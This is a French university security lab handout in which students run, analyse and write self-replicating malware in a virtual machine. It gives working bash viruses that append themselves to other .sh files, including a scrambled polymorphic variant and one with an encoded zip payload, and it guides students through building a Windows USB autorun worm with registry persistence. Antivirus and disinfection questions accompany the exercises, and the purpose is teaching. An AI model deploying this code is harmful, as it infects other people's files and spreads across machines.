TP1 Virus et Antivirus

Remarques préliminaires
Les expérimentations décrites dans ce document ne doivent pas être réalisées en dehors de la salle dédiée aux TP SSR. Ce document est confidentiel, il vous est interdit de le redistribuer, de le diffuser même partiellement sous quelque forme que ce soit.

VIRUS 1 : Mécanisme de base - Linux

Utilisation du langage BASH : http://www.gnu.org/software/bash/manual/bashref.html

```
for i in *.sh; do
        if test "./$i" != "$0"; then
                tail -n 5 $0 | cat >> $i
        fi
done
```

Ressources Internet :

- **http://noman.flabelline.com/SSR/bidon1.sh**
- **http://noman.flabelline.com/SSR/bidon2.sh**
- **http://noman.flabelline.com/SSR/vbash1.sh**

Question 0 : Enregistrez une copie de ce fichier dans un programme nommé `vbash1.sh` et ayant les droits d'exécution (`chmod 700 vbash1.sh`), puis créez un ou plusieurs autres programmes shell (fichiers ayant une extension « .sh ») simples (vides si vous le souhaitez, ou contenant une seule ligne type `echo "je suis le programme xxx"`.
Attention : ne pas utiliser de caractères accentués ni d'espaces dans les noms de fichiers.

Lancez le virus et observez le résultat. Relancez le virus et observez à nouveau. Lancez un des programmes et observez encore.

Question 1 : Que fait le programme ci-dessus (`vbash1.sh`) ?

Question 2 : Quel est le type d'infection ?

Question 3 : Modifiez le programme pour éviter d'infecter plusieurs fois le même hôte (signature).

Question 4 : Implémentez en bash un « antivirus » détecteur de votre virus par la technique de signature

Question 5 : Modifier l'antivirus pour que lorsqu'il détecte un programme hôte infecté, il le désinfecte.

VIRUS 2 : (adapté de l'examen 2010)

```
# [...ces 2 lignes sont un programme normal ...]
#
tail -n 24 $0 | sort -g | cut -c 4- > /tmp/test
chmod +x /tmp/test
/tmp/test &
exit 0
28 done
24 echo '/tmp/test &' >> $i
31 done
18 chmod +x /tmp/test
30 rm /tmp/test3
16 for i in *.sh; do
25 echo 'exit 0' >> $i
14 echo "$n $line" >> /tmp/test2
22 echo 'tail -n 24 $0 | sort -g | cut -c 4- > /tmp/test' >> $i
17 tail -n 24 $i | sort -g | cut -c 4- > /tmp/test
19 if /tmp/test test 2>/dev/null ; then
21 fi
33 rm /tmp/test
23 echo 'chmod +x /tmp/test' >> $i
27 rand=$(($RANDOM % 90 + 10)) ; echo "$rand $line" >> /tmp/test3
20 continue ;
12 cat $0 | while read line ; do
29 cat /tmp/test3 | sort -g | cut -c 4- >> $i
32 rm /tmp/test2
10 if test "$1" == "test" ; then exit 0 ; fi
15 done
26 cat /tmp/test2 | while read line ; do
13 n=$(($n + 1))
11 n=9 ;
```

Un utilisateur sous Linux vient vous voir pour que vous expertisiez un script shell qu'il pense être infecté par un virus. Les « numéros » en début de ligne font bien partie du fichier, *à ne pas modifier*.

Ressource Internet : http://noman.flabelline.com/SSR/vbash2.sh

Notes :
Vous n'avez pas besoin de comprendre le détail du code pour répondre aux questions.
L'instruction « `sort -g` » permet de trier des lignes par ordre numérique.
L'instruction « `$((%RANDOM %90 + 10` » permet de tirer un nombre aléatoire entre 10 et 99.

Question 0 : Vous devez isoler ce virus dans votre machine virtuelle linux et faire des tests d'exécution pour vous aider à répondre aux questions suivantes (comme dans l'exercice précédant).

Question 1 : Quelle partie de ce programme est directement exécutable ?

Question 2a : Quel est le mécanisme utilisé par le virus pour rendre exécutable la partie qui ne l'est pas à l'origine ?

Question 2b : Modifiez une ligne du code d'origine pour observer après exécution le code « normal » du virus.

Question 3 : Quel est ce type de virus ?

Question 4 : Quel est le mode de duplication de ce virus ? Sera-t'il possible de nettoyer les programmes infectés ? Si oui, de quelle manière ?

Question 5 : Est-il possible de construire un antivirus réalisant une détection par signature de ce virus ? Pourquoi ?

Question 6 : Quelle(s) autre(s) méthodes de détection peuvent être utilisées par un antivirus ?

VIRUS 3 : (adapté de l'examen 2011)

```
# [...ces 2 lignes sont un programme normal ...]
#
tail -n 11 $0 | uudecode -o /tmp/plop.z
unzip -P `date +%u` -p /tmp/plop.z | cat > /tmp/plop.sh
if test `head -n 1 /tmp/plop.sh |grep -c 'for'` -eq 1; then
       tail -n 19 $0 | head -n 8 > /tmp/ssr.txt
       chmod 700 /tmp/plop.sh
       /tmp/plop.sh
fi
exit
begin 664 plop
M4$L#!!0`"0`(`-URE4$``-UR`````*(````(`!P`=F)A<V@N<VA55`D``[)B
MU%#'8M10=7@+``$$Z`,```3H`P``K/XXAH"G+6?W!'O@.>.M%HAM*YXR7E6*
MY5PH"6))^R\F^;$8=6NH24_S"XJ"+T.%$24V0"$(P;]BJ?,^:38VC\NE."&5
M_S+.4-2UC)@'`CC<;7K@_-,C0/QY#@ZJ6J<61I,3A`C/,F+REM(HA)#A*Y%"
MQ(BL@7?[Y\5:F(]N_!FAUB<G4R<5G>U[4$L'".1#?-^*````H@```%!+`0(>
M`Q0`"0`(`-URE4'D0WS?B@```*(````(`!@``````$```#`@0````!V8F%S
M:"YS:%54!0`#LF+44'5X"P`!!.@#```$Z`,``%!+!08``````0`!`$X```#<
%````````
`
end
```

Un utilisateur sous Linux vient vous voir pour que vous expertisiez un script shell qu'il pense être infecté par un virus.

Ressource Internet : http://noman.flabelline.com/SSR/vbash3.sh

Notes :
Les instructions « uuencode » et « `uudecode` » permettent de passer d'un codage binaire de données à une représentation en caractères ASCII et inversement.
L'instruction « unzip -P» permet de décompresser un fichier dont le mot de passe est passé à la suite du paramètre P. Et inversement pour la commande « zip -P ».

Question 0 : Vous devez isoler ce virus dans votre machine virtuelle linux et faire des tests d'exécution pour vous aider à répondre aux questions suivantes.

Question 1 : Que produit l'exécution du code de ce virus, exécuté dans un répertoire contenant d'autres fichiers .sh ?

Question 2 : Pour comprendre ce qui se passe, vous allez devoir analyser le virus, par morceaux.

Question 2a : Utilisez la première ligne du programme (en remplaçant `$0` par le nom du fichier contenant le virus) pour obtenir dans votre répertoire de travail le fichier `plop.z`. Quelle est sa nature (vous pouvez utiliser la commande `file` pour confirmer) ?

Question 2b : En vous servant de la ligne 3, trouvez le mot de passe qui permet son ouverture. Expliquez le résultat de la question 1.

Question 3 : Après ouverture, vous obtenez le fichier ci-dessous. Expliquez le fonctionnement de ce nouveau programme.

```
for i in *.sh; do
       if test `fgrep -c 'date +%u' "$i"` -eq 0 ; then
              cat /tmp/ssr.txt >> "$i"
              cat $0 | zip -P `date +%u` | uuencode plop | cat >> "$i"
       fi
done
```

Question 4 : Quelle est donc le type de virus donné dans le premier programme ?

VIRUS 4 : Ver – Windows

Utilisation de scripts Windows (WSH) : http://msdn.microsoft.com/en-us/library/ms950396.aspx
Exemples de scripts : http://gallery.technet.microsoft.com/ScriptCenter/en-us/
FAQ : http://vb.developpez.com/faqvbs/

Question 0 : Depuis 2011, Microsoft a désactivé par défaut l'exécution des scripts d'autorun sur les périphériques USB. Pour retrouver cette fonctionnalité, un petit logiciel (APO USB Auorun) est lancé en tant que service (visible dans la barre des tâches). Ainsi, on se retrouve dans une configuration similaire à un Windows XP de cette époque. Vous trouverez plus d'informations sur la saga de l'autorun ici : http://en.wikipedia.org/wiki/AutoRun.

Question 1 : Ouvrir Notepad++, insérer le code ci-dessous, sauver sous le nom « `script.vbs` » sur le bureau. Double-cliquer sur le fichier `script.vbs`. Cela vous permet de tester l'exécution de votre premier script Windows (félicitations !).

```
Wscript.echo "Hello World"
```

Question 2 : Insérer une clé USB. Créer un fichier « `Autorun.inf` » avec Notepad++ et copier le code suivant dans le fichier autorun :

```
[AutoRun]
open=script.vbs
shell\open\Command=script.vbs
shell\explore\Command=script.vbs
```

Question 2.1 : Déplacer le fichier « `script.vbs` » depuis le bureau sur la clé, afin de ne plus avoir des fichiers que sur la clé.

Question 3 : Déconnectez la clé, puis reconnectez là. Que se passe t'il ?

Question 4 : Déduire un scénario pour permettre la diffusion initiale et la primo-infection d'un ordinateur par un ver distribué sur une clé USB.

Question 5 : Ajoutez à ce script la capacité dès son exécution de se copier dans le dossier des « documents » de l'utilisateur courant en utilisant/adaptant les morceaux de code suivant :

```
Set WshShell = WScript.CreateObject("WScript.Shell")

Wscript.echo WshShell.SpecialFolders("MyDocuments")

Wscript.echo WScript.ScriptFullName

Dim oFSO
Set oFSO = CreateObject("Scripting.FileSystemObject")
oFSO.CopyFile "c:\tmp\Source.txt","c:\tmp\Destination.txt",True
```

Note : le caractère de concaténation en WSH est « & ».

Question 6 : Ajoutez à ce script la capacité dès son exécution de s'enregistrer dans la base de registre pour être démarré au lancement du système d'exploitation (pour tous les utilisateurs), la chaîne et la fonction WSH de l'API pour écrire dans le registre étant données ci-dessous :

```
WshShell.RegWrite "CHAINE\clé", valeur

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
```

Pour comprendre le fonctionnement de ce paramètre système, vous pouvez lancer l'éditeur de la base de registre (`regedit`) et observer les programmes déjà présents à cette entrée.

Question 7 : Détecter la présence de tous les périphériques amovibles, et pour chacun d'entre eux, réinstaller un mécanisme d'infection tel que décrit aux points 2 et 3.

Pour cela, vous pouvez vous inspirer du script suivant (à tester dans un programme séparé au préalable) :

```
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\root\cimv2")

Set colDisks = objWMIService.ExecQuery ("Select * from Win32_LogicalDisk")
nb = 0
For Each objDisk in colDisks
	If objDisk.DriveType = 2 Then
		Wscript.Echo "Le périphérique " & objDisk.DeviceID & " est amovible"
	nb = nb + 1
	End If
Next
If nb = 0 Then
	Wscript.Echo "Aucun périphérique amovible détecté"
End If
```

Note : il faudra donc recopier le script .vbs sur la clé, puis générer le fichier Autorun.inf. Cette dernière action peut être réalisée en s'inspirant du code suivant :

```
Const ForWriting = 2
Dim fic
Set fic = oFSO.OpenTextFile("c:\temp\toto.txt", ForWriting, true)
fic.writeLine("Salut")
fic.Close
```

Question 8 : Tester le fonctionnement de votre script. Une fois que le ver est installé sur la machine hôte, essayez de formater votre clé USB (ou supprimer juste les deux fichiers), puis de redémarrer votre Windows (en laissant la clé dans le lecteur lors du démarrage) pour vérifier que votre clé est bien infectée à nouveau.

Question 9 : Comment un anti-virus pourrait détecter ce ver ? Quelle serait la procédure de désinfection ? Que pensez-vous des correctifs suivants ?

http://www.microsoft.com/france/technet/security/advisory/967940.mspx
http://support.microsoft.com/kb/971029/fr

Question 10 : Et que pensez-vous de la contre attaque ?

http://penturalabs.wordpress.com/2013/06/11/the-return-of-usb-auto-run-attacks/